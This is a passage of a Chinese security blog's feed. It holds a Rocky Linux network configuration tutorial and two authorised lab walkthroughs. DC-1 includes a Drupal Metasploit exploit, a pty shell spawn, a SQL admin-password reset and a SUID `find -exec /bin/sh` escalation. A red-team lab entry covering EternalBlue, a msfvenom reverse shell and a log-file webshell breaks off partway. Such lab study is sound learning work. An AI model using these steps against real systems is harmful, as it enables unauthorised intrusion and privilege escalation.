配置与绕过条件，说明宽泛来源、内联脚本和受信任端点如何削弱策略，并总结安全配置方法。</span></a><a class="related-post-card" href="/2025/05/30/DVWA-CSRF防护差异/"><strong>DVWA CSRF：不同安全等级下的防护差异</strong><span>基于 DVWA 授权环境比较不同安全等级下的 CSRF 行为，从请求构造、令牌校验和来源限制三个角度理解漏洞与防护。</span></a></div></section>]]>
    </content>
    <id>https://leeei.site/2025/11/24/linux%E5%8C%85%E7%AE%A1%E7%90%86/</id>
    <link href="https://leeei.site/2025/11/24/linux%E5%8C%85%E7%AE%A1%E7%90%86/"/>
    <published>2025-11-24T01:31:37.908Z</published>
    <summary>系统整理 Rocky Linux 8 中 YUM 与 DNF 的仓库管理、软件包查询、安装、升级、删除、组管理和缓存维护命令。</summary>
    <title>Linux 软件包管理教程</title>
    <updated>2025-11-24T01:31:37.908Z</updated>
  </entry>
  <entry>
    <author>
      <name>lee</name>
    </author>
    <category term="网络与系统" scheme="https://leeei.site/categories/%E7%BD%91%E7%BB%9C%E4%B8%8E%E7%B3%BB%E7%BB%9F/"/>
    <category term="Linux" scheme="https://leeei.site/tags/Linux/"/>
    <category term="Rocky Linux" scheme="https://leeei.site/tags/Rocky-Linux/"/>
    <category term="网络配置" scheme="https://leeei.site/tags/%E7%BD%91%E7%BB%9C%E9%85%8D%E7%BD%AE/"/>
    <content>
      <![CDATA[<p>查看网络接口列表</p><p>command: ip addr show 或 ip a</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/00f19683f65249af8d7dd604abb06634.png"                                     ></p><p>查看网络接口</p><p>command: nmcli connection show</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/d9fcb00afb424d14b24d2367e2c79e9e.png"                                     ></p><p>我的网络接口: ens33</p><p>查看设备状态</p><p>command: nmcli device status</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/7a40e07f13a54339be2722d41515c8d9.png"                                     ></p><p>查看特定接口信息</p><p>command: ip addr show ens33</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/33a0c1dc3e954543bcf9295e1321f7a4.png"                                     ></p><p>查看接口统计信息：</p><p>command: ip addr show ens33</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/bd407c52d32147db938426e98f6ccaeb.png"                                     ></p><p><strong>nmcli 配置网络</strong></p><p>交互式配置</p><p>command: nmcli connection edit ens33</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/4d0adfc5ad9240fd9cc9a2b079dadb9f.png"                                     ></p><p>先在主机上查看dns地址，子网掩码，网关等信息</p><p>command: ipconfig &#x2F;all (windows)</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/733f2501cf90439a9a6390dd751b4370.png"                                     ></p><p>dns: 192.168.145.254</p><p>netmask: 255.255.255.0</p><p>网关：192.168.145.1</p><p>随后按照信息修改：</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/dd27f7995b31476fa4d0551add49625c.png"                                     ></p><p>激活网络接口：</p><p>command: nmcli connection ip ens33</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/6a28125c6cf14eb9a80ee257ad895926.png"                                     ></p><p>激活成功</p><p>单方面配置静态ip并激活网卡:</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/c4ceed13957c4448b51cd0a611c0423a.png"                                     ></p><p>查看ip:</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/e1b9c56480ec4985929e4734dbc57cc5.png"                                     ></p><p>配置成功</p><p>创建新的网络连接</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/6a0f09d8d40e45919a267d8c123ee648.png"                                     ></p><p>激活并查看ip<img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/10f81ccdd9fd4a7f8e8d5caf3b1ff968.png"                                     ></p><p>ping一下确认网络是通畅的</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/75f0aea5757a4782849b420ce7c9e1ff.png"                                     ></p><p>配置dhcp协议：</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/81c2e156646c455591310f319d0408b8.png"                                     ></p><p>消去之前配的静态ip，改为dhcp协议获取的ip地址并激活网卡：</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/3723e310950046cfafcb828435f82db6.png"                                     ></p><p>查看ip，发现变回了192.168.145.181</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/fdaf4670686d45f49af288cb91786aa2.png"                                     ></p><p>查看连接详情：</p><p>command: nmcli connection show ens33</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/3286689fbb354fa8a232047b29ad64dc.png"                                     ></p><p>重启和启用网络接口：nmcli connection up&#x2F;down ens33</p><p>设置网卡为开机自启：</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/f502f5f0f4424d39a5ce8372f0293751.png"                                     ></p><p>删除网络连接：</p><p>command: nmcli connection delete ens33</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/4455a0ffaaaf496e9c1c5081dbdc6b54.png"                                     ></p><p>用add方式重建网络连接：</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/230f7f7e315049be90f469c50c3586d0.png"                                     ></p><p>重新删除后让NetworkManager自动检测，用命令: nmcli connection show 来检测是否创建成功</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/a60a8bb36b4d4db7abdc8efe34d4d5a4.png"                                     ></p><p>通过配置文件配置网络</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/ae65ae8d6f63479ba07648fd6e7ef312.png"                                     ></p><p>可以通过修改BOOTPROTO &#x3D; (static&#x2F;dhcp)来切换静态IP和使用dhcp动态ip地址</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/3c2f6eb6284042ecb5fe393785f09bde.png"                                     ></p><p>配置多个ip地址：</p><p>创建别的网卡配置文件：</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/4401f7e931e54036aebbe982ab497bca.png"                                     ></p><p>重启网络服务：</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/1cdd8ae663c2401489167705e5e96cee.png"                                     ></p><p>发现有两个ip</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/94d0e0bc76ba4c23b4ac0cbd58131f25.png"                                     ></p><p>第二个ip能ping 通：</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/9065d80115f946d4803443b9cb316604.png"                                     ></p><p>网络服务管理：</p><p>查看服务状态：</p><p>command: systemctl status NetworkManager</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/5c2c8af3e6aa4ed58ab7e22b15145d89.png"                                     ></p><p>关闭或打开,重启，开机自启以及禁用开机自启</p><p>command: systemctl (start&#x2F;stop&#x2F;restart&#x2F;enable&#x2F;disable) NetworkManager</p><p>查看当前主机名：</p><p>command: hostnamectl</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/a252b65de58b4d359e0513667e53ea24.png"                                     ></p><p>设置主机名：</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/20c76ec1f26e42d6bf894451243d2233.png"                                     ></p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/b12d435ea0bf4656ae504194a3505589.png"                                     ></p><p>配置dns</p><p>通过NetworkManager</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/3082f8f2d946461b8bdcca48f339089d.png"                                     ></p><p>测试网络通畅性：</p><p>测试网关通畅:</p><p>ping -c 4 192.168.145.1</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/614ba182c0ee427299081beed7137664.png"                                     ></p><p>查看路由表：</p><p>ip route show</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/278110c88a4348249f2ffdf61d3762e0.png"                                     ></p><p>查看网络连接：</p><p>command: ss -tunlp<img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/8e2d2a2c3452481e94c0dc68067b048c.png"                                     ></p><p>查看监听端口：</p><p>command: netstat -tunlp</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/b55edf4d5d09409882b29f234e1c9a24.png"                                     ></p><p>查看网络流量：</p><p>command: ip -s link</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/7654e2aada9145aa9864a4badd35b536.png"                                     ></p><p>查看防火墙状态：</p><p>command: firewall-cmd –state</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/e17e6c5ccc794397ad2029d43c0060fe.png"                                     ></p><p>关闭及临时关闭防火墙：</p><p>command: systemctl (stop&#x2F;disable) firewall</p><p>开启端口：</p><p>command: firewall-cmd –permanent –add-port&#x3D;80&#x2F;tcp</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/51f7f4b1ee3c489d870d22d8da7c86fb.png"                                     ></p><p>重启：firewall-cmd –reload</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/b229b0a45d4d4aecb379be7712215794.png"                                     ></p><p>查看SElinux状态</p><p>command: geteforce</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/91a00189e47644e1969547f7590c35c9.png"                                     ></p><p>临时设置为宽容模式</p><p>command: setenforce 0</p><p>getenforce</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/195cfbdd824446648ac322377319bfdf.png"                                     ></p><p>重新扫描硬件：</p><p>command: nmcli device reapply ens33</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/5ac42350ecc445a6953c66d8baa66f38.png"                                     ></p><p>完全重启网络服务：</p><p>command: systemctl restart NetworkManager</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/087e9666db0f4e9a99b4ee47d17cb5b5.png"                                     ></p><section class="related-posts-custom" aria-labelledby="related-posts-title"><h2 id="related-posts-title">相关文章</h2><div class="related-posts-list"><a class="related-post-card" href="/2025/06/05/DVWA-CSP-Bypass/"><strong>DVWA CSP Bypass：策略配置、信任边界与绕过条件</strong><span>通过 DVWA 授权环境分析 CSP 配置与绕过条件，说明宽泛来源、内联脚本和受信任端点如何削弱策略，并总结安全配置方法。</span></a><a class="related-post-card" href="/2025/05/30/DVWA-CSRF防护差异/"><strong>DVWA CSRF：不同安全等级下的防护差异</strong><span>基于 DVWA 授权环境比较不同安全等级下的 CSRF 行为，从请求构造、令牌校验和来源限制三个角度理解漏洞与防护。</span></a></div></section>]]>
    </content>
    <id>https://leeei.site/2025/11/18/rocky%20linux%208%E7%BD%91%E7%BB%9C%E9%85%8D%E7%BD%AE/</id>
    <link href="https://leeei.site/2025/11/18/rocky%20linux%208%E7%BD%91%E7%BB%9C%E9%85%8D%E7%BD%AE/"/>
    <published>2025-11-17T20:40:52.775Z</published>
    <summary>整理 Rocky Linux 8 的 NetworkManager 与 nmcli 网络配置方法，包括静态地址、网关、DNS、连接启停和故障排查。</summary>
    <title>RockyLinux8网络配置</title>
    <updated>2025-11-17T20:40:52.775Z</updated>
  </entry>
  <entry>
    <author>
      <name>lee</name>
    </author>
    <category term="靶场复现" scheme="https://leeei.site/categories/%E9%9D%B6%E5%9C%BA%E5%A4%8D%E7%8E%B0/"/>
    <category term="DC靶场" scheme="https://leeei.site/tags/DC%E9%9D%B6%E5%9C%BA/"/>
    <category term="Linux" scheme="https://leeei.site/tags/Linux/"/>
    <category term="提权" scheme="https://leeei.site/tags/%E6%8F%90%E6%9D%83/"/>
    <content>
      <![CDATA[<p>学习补充：</p><p>1.工具对比——nmap，arp-scan</p><p>使用范围差异场景建议nmap（全&#x2F;深入）可以跨网段扫描扫描开放端口，跨网段arp-scan（快&#x2F;隐蔽）只能探测同一局域网内快速发现局域网设备，绕防火墙</p><p>综：可以先用arp-scan快速定位目标，找存活主机，再用nmap深度扫描端口服务</p><p>2.SMB协议：是​ <strong>​Windows网络文件共享的基础协议​</strong>​，在内网渗透中比较重要，是横向移动的主要通道，能让电脑之间通过网络互相传文件</p><p>3.伪终端：python -c ‘import pty; pty.spawn(“&#x2F;bin&#x2F;bash”)’</p><p>4.哈希密码加盐</p><p>5.&#x2F;ect&#x2F;passwd文件与&#x2F;ect&#x2F;shadow文件</p><p>6.&#x2F;bin&#x2F;bash</p><p>7.有suid位的find提权</p><p>先扫ip</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/2d9661ce6b074ee89cded61b8e0bfc6a.png"                                     ></p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/7b8c3aa774d545e4aef880e5e7f650ba.png"                                     ></p><p>侵略性扫一下端口</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/c4551ce342f84b699b49ab83c04f7199.png"                                     ></p><p>可以观察到开了三个端口：22，80，111，提供的服务分别对应着ssh远程管理，http运行网站服务，rpcbind远程过程调用服务</p><p>所以对应这几个端口的渗透方向：</p><p>22：ssh渗透——爆破，版本漏洞</p><p>80：web渗透</p><p>111：RPC信息收集</p><p>同时还能了解靶机技术栈的一些组成部分</p><p>我们在网站服务上看到了运行apache，初步确定了是web服务器</p><p>以及下面的running可以发现操作系统是linux</p><p>应用层部分有Drupal——（由CMS和php开发框架共同构成）</p><p>在主机上访问<a class="link"   href="https://192.168.145.156/" >https://192.168.145.156<i class="fa-solid fa-arrow-up-right ml-[0.2em] font-light align-text-top text-[0.7em] link-icon"></i></a></p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/cee4e0a1c9c8425e8959248751455644.png"                                     ></p><p>根据我们上面搜集到的信息，该网站是使用Drupal 7的CMS搭建的</p><p>打开msf搜drupal 7的框架</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/c140555932ad42ac9b9ff17c954f7c9e.png"                                     ></p><p>选择第二个框架进行攻击</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/c0687b6337c449cdb0891c8d8c8164e9.png"                                     ></p><p>options一下发现需要补全RHOSTS</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/322e945205af49e1bfae19eec182df87.png"                                     ></p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/97b5604c1c4c4a3bbed10d4828aec2da.png"                                     ></p><p>利用python脚本构造一个伪终端，使得正常终端的功能得以实现</p><p>伪终端执行命令</p><p>python -c ‘import pty; pty.spawn(“&#x2F;bin&#x2F;bash”)’</p><p>like：tab键补全，ctrl-c正常用，还能执行一些交互性命令<br><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/aef7cdc8565f42c0906302db048f94ff.png"                                     ></p><p>查看一下文件列表，发现flag1</p><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">flag1：Every good CMS needs a config file - and so do you.</span><br><span class="line"></span><br></pre></td></tr></table></figure></div><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/d8d84a6f030440f5aa09b66468be0331.png"                                     ></p><p>cat一下</p><p>:内容提示我们去找config file——配置文件——setting<img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/9b27c44b12d44da6963d3cc9b9da2498.png"                                     ></p><p>选择文件夹一个个打开找….</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/9ed5f9a4771042a290c9cf826b6a62f0.png"                                     ></p><p>在sites文件里面发现一个奇怪的default，进去看看</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/84287c61dd66441099f00ad92c0eef06.png"                                     ></p><p>找到了settings.php，cat，报出了flag2</p><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">flag2：force and dictionary attacks aren&#x27;t the</span><br><span class="line"> * only ways to gain access (and you WILL need access).</span><br><span class="line"></span><br><span class="line"> * What can you do with these credentials?</span><br><span class="line"></span><br></pre></td></tr></table></figure></div><p>flag2提示我们找凭据，下面刚好报了数据库信息：</p><p>库名：drupaldb</p><p>用户名：dbuser</p><p>密码：R0ck3t</p><p>端口默认·3306</p><p>数据库类型mysqlm</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/3b47b41add0f4377833fa43b050ef863.png"                                     ></p><p>输入用户名和密码进入mysql客户端环境</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/e37bcd59a32d48c6b057789e925bddf7.png"                                     ></p><p>选择drupaldb数据库<img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/980466596762478bb8705a15ebe457fd.png"                                     ></p><p>查看表</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/fc52d0b7003e408382c0e1479c395a25.png"                                     ></p><p>发现users表</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/2641926b3e784bb3b78eb5d292d904c0.png"                                     ></p><p>观察这里存储的密码基本都是哈希值——（$S$开头），并且是加盐过的（也就是在变哈希值前在原始密码中加入随机字符串，因为同一个字符串生成的哈希值是唯一不变的，这样做，能使得生成的哈希值是独一无二的，可以保护常见的密码不受攻击）</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/538bf43eb46e43d091ea349c642d56cc.png"                                     ></p><p>很难破解，所以我们选择直接退出去修改一下admin的密码</p><p>php命令生成一下想要密码的哈希值：</p><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">php scripts/password-hash.sh 新密码</span><br><span class="line">//执行php解释器 drupal自带的密码哈希生成脚本 新密码</span><br></pre></td></tr></table></figure></div><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/8182ebb1ced249229aeb463c17e36a85.png"                                     ></p><p>复制hash值，然后用sql的update命令来重置一下admin密码</p><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">update users set pass = &quot;hash&quot; where uid=&quot;admin&quot;;</span><br></pre></td></tr></table></figure></div><p>用新密码去登录，成功</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/2f8b988c54f542909a3582542a401dd8.png"                                     ></p><p>进dashboard仪表盘看看，发现flag3</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/a329d3e89e864166b898ab0e9a37f2b8.png"                                     ></p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/1576ef581a0b4deda0bfe489d07bec7a.png"                                     ></p><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">flag3：Special PERMS will help FIND the passwd - but you&#x27;ll need to -exec that command to work out how to get what&#x27;s in the shadow.</span><br><span class="line"></span><br></pre></td></tr></table></figure></div><p>分析一下这个flag：</p><p>1.special perms——我们需要特殊权限才能找到密码</p><p>2.-exec命令——是find命令的一个核心参数，允许对找到的文件执行任意命令</p><p>3.shadow：</p><p>学习两个linux系统中最重要的用户认证文件——&#x2F;ect&#x2F;passwd文件和&#x2F;ect&#x2F;shadow文件</p><p>这两个文件都存储了系统所有用户的用户名列表，但后者中还有用户名的密码哈希值，也就是说前者任意权限都能看，而后者只有root能看</p><p>意味着，我们后续要进行提权操作</p><p>先看一下&#x2F;etc&#x2F;passwd文件，发现了flag4用户!!并且有bin&#x2F;bash——&#x2F;bin&#x2F;bash代表这个用户可以通过找到密码手动登录</p><p>（还有mysql服务，和ssh服务，22端口和3306端口都是运行状态）</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/d4793f8e8c2b4ad5858ff201dcd51d92.png"                                     ></p><p>下一步用find提权查看&#x2F;etc&#x2F;shadow中的flag4密码，尝试登录flag4用户，进去看看有没有有用的flag信息</p><p>检查find是否有suid位，输出有s！表示find有suid位，表示，只要执行find命令，就会以root权限运行！</p><p>suid位：</p><p>像一个提权令牌，普通用户在运行有suid命令时，会临时获得root的身份</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/85e70238d2fa4461b296f1d1dd7e5a71.png"                                     ></p><p>touch一个text文件假装查找，执行find语句之后立刻能切换到root权限</p><p>提权</p><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">find / -name text -exec /bin/sh \;</span><br><span class="line">//find [搜索路径] [搜索条件] -exec [要执行的命令] \; [控制选项]</span><br></pre></td></tr></table></figure></div><p>进入root</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/19b8043910e34bf981c7b73770d46929.png"                                     ></p><p>找到flag4！<img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/5e2f0762e3c9446d9dba268655912b06.png"                                     ></p><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">flag4:Can you use this same method to find or access the flag in root?</span><br><span class="line"></span><br><span class="line">Probably. But perhaps it&#x27;s not that easy.  Or maybe it is?</span><br><span class="line"></span><br></pre></td></tr></table></figure></div><p>提示我们去根目录root里面看看<img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/3b4b0857360b4bc9a1237b0a9b36d890.png"                                     ></p><p>❀❀❀完结撒花！！！❀❀❀</p><section class="related-posts-custom" aria-labelledby="related-posts-title"><h2 id="related-posts-title">相关文章</h2><div class="related-posts-list"><a class="related-post-card" href="/2025/06/05/DVWA-CSP-Bypass/"><strong>DVWA CSP Bypass：策略配置、信任边界与绕过条件</strong><span>通过 DVWA 授权环境分析 CSP 配置与绕过条件，说明宽泛来源、内联脚本和受信任端点如何削弱策略，并总结安全配置方法。</span></a><a class="related-post-card" href="/2025/05/30/DVWA-CSRF防护差异/"><strong>DVWA CSRF：不同安全等级下的防护差异</strong><span>基于 DVWA 授权环境比较不同安全等级下的 CSRF 行为，从请求构造、令牌校验和来源限制三个角度理解漏洞与防护。</span></a></div></section>]]>
    </content>
    <id>https://leeei.site/2025/11/02/dc%E7%B3%BB%E5%88%97%E2%80%94%E2%80%94dc1/</id>
    <link href="https://leeei.site/2025/11/02/dc%E7%B3%BB%E5%88%97%E2%80%94%E2%80%94dc1/"/>
    <published>2025-11-02T01:26:07.778Z</published>
    <summary>记录 DC-1 靶机的信息收集、Drupal 利用、密码哈希分析与 Linux SUID 提权过程，并补充相关系统文件和终端知识。</summary>
    <title>dc系列靶机——dc1</title>
    <updated>2025-11-02T01:26:07.778Z</updated>
  </entry>
  <entry>
    <author>
      <name>lee</name>
    </author>
    <category term="靶场复现" scheme="https://leeei.site/categories/%E9%9D%B6%E5%9C%BA%E5%A4%8D%E7%8E%B0/"/>
    <category term="Web安全" scheme="https://leeei.site/tags/Web%E5%AE%89%E5%85%A8/"/>
    <category term="内网渗透" scheme="https://leeei.site/tags/%E5%86%85%E7%BD%91%E6%B8%97%E9%80%8F/"/>
    <category term="红日靶场" scheme="https://leeei.site/tags/%E7%BA%A2%E6%97%A5%E9%9D%B6%E5%9C%BA/"/>
    <content>
      <![CDATA[<p><strong>一：有关信息收集，漏洞发现，漏洞利用的攻击链</strong></p><p>工具——nmap，arp-scan</p><p>使用范围差异</p><p>场景建议</p><p>nmap（全&#x2F;深入）</p><p>可以跨网段扫描</p><p>扫描开放端口，跨网段</p><p>arp-scan（快&#x2F;隐蔽）</p><p>探测同一网段内</p><p>快速发现局域网设备，绕防火墙</p><p>综：可以先用arp-scan快速定位目标，找存活主机，再用nmap深度扫描端口服务</p><p>先用arp-scan扫，更快，也可用 nmap -sn ….</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/fa3984df2b0f494a8315e243e20c4c40.png"                                     ></p><p>再用Nmap 粗略扫一下该ip的端口开放情况：</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/e9a8201b55174b2c801ff02bbc3e585e.png"                                     ></p><p>基本确定，用Nmap 半开扫描，侵略扫描（此时kali开了root权限，-A直接包含-sT，-sV，-O）</p><p>-p-全端口扫描</p><p>-oN输出结果到hongri.txt</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/91bdbaefe6e34e219082136bd99fbd70.png"                                     ></p><p>分析结果：版本：win7 profrssional sp1（存在大量公开漏洞），操作系统：微软windows，主机名STU1,域名：GOD.ORG</p><p>关键开放端口：445&#x2F;tcp——SMB服务，可利用ms17-010，极高危漏洞</p><p>1026-1028&#x2F;tcp——RPC动态端口，可以服务枚举攻击，中危漏洞</p><p>并且smb签名禁用了，说明允许中间人攻击</p><p>针对漏洞扫一下，检查有没有已知的高危漏洞</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/c349045af244456baeb1b5cda64b02e1.png"                                     ></p><p>发现永恒之蓝存在，为高风险等级，优先攻击它以拿到system权限，然后提取哈希凭证，再进行内网横向移动</p><p>并且我们得知了域名，后续可以尝试渗透整个GOD域</p><p><strong>二：ms17-010永恒之蓝漏洞</strong></p><p>Root权限下进入msfconsole</p><p>搜索ms17-010(永恒之蓝)漏洞</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/e10185ffe37d49808513e9ef028b55a3.png"                                     ></p><p>使用第一个</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/ac20315d336441f2b481f6c23c1f8f1e.png"                                     ></p><p>msfvenom制作exe病毒来获取反弹shell</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/be14492c314c4bbea240be49452dc891.png"                                     ></p><p>配置有效载荷的参数</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/757501d711054c9d9251f47a6dfea397.png"                                     ></p><p>运行：</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/35945bed43644e7c869effb6d7bf52aa.png"                                     ></p><p><strong>成功获取对方win7 web 服务器的管理员shell</strong></p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/85c6c34de1b94ce29522631eb51b0255.png"                                     ></p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/e2686b9f92f949afbf4d465c3b0712a5.png"                                     ></p><p><strong>三：数据库webshell写入一句话木马</strong></p><p>用kali进入win7的phpMyadmin</p><p>弱密码（root&#x2F;root）登录后以root用户在对方web服务器的phpMyAdmin 中查看全局日志所在位置</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/b7f7dcb529f448b3b831c19cd1f4b4f1.png"                                     >执行该语句后发现路径为C:&#x2F;phpStudy &#x2F;MySQL&#x2F;data&#x2F;stu1.log</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/2b48d51297004f948caf32bfadbdf20d.png"                                     ></p><p>将全局日志打开：</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://i-blog.csdnimg.cn/direct/85814072d5894b61acb085c941bee6bc.png"                                     ></p><p>更改全局日志的名字为hr.php，并将其放在网站的根目录下</p><p><img                       lazyload                     